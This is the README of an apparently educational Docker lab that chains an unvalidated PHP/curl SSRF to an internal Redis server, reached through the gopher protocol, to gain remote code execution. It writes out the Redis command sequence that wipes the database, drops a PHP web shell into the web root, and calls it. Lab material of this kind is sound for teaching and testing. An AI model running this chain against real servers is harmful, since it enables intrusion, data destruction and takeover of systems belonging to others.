SSRF → Redis → RCE Lab

Overview

This lab simulates a vulnerable web application that allows Server-Side Request Forgery (SSRF). The goal is to escalate this into Remote Code Execution (RCE) by interacting with an internal Redis service.

---

Architecture

• Apache + PHP (SSRF entry point)
• cURL-based URL fetcher
• Redis running locally (not exposed externally)

---

Lab Setup

git clone https://github.com/Manlware/SSRF_Redis_RCE.git
cd SSRF_Redis_RCE
docker compose up -d --build

Open:

http://localhost:8080

---

Objective

Exploit the SSRF vulnerability to:

1. Reach the internal Redis service
2. Write a malicious PHP file
3. Execute commands via web shell

---

Vulnerability

The application accepts a url parameter:

http://localhost:8080/?url=https://example.com

This is fetched server-side using curl without validation.

---

Exploitation Steps

1. SSRF to Redis (localhost access)

Redis is available at:

127.0.0.1:6379

---

2. Use gopher protocol

Craft a payload to send raw Redis commands using Gopherus tool:

gopher://127.0.0.1:6379/...

---

3. Redis command chain

Goal:

• Flush DB
• Write PHP payload
• Save to web root

Example logic:

FLUSHALL
SET 1 "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE

---

4. Access web shell

http://localhost:8080/shell.php?cmd=id

---

Notes

• Redis runs locally → not externally accessible
• Lab intentionally disables protections for learning
• This simulates real-world misconfigurations

---

Tools

• Gopherus

---

Disclaimer

This lab is for educational purposes only. Do not use these techniques on systems you do not own or have permission to test.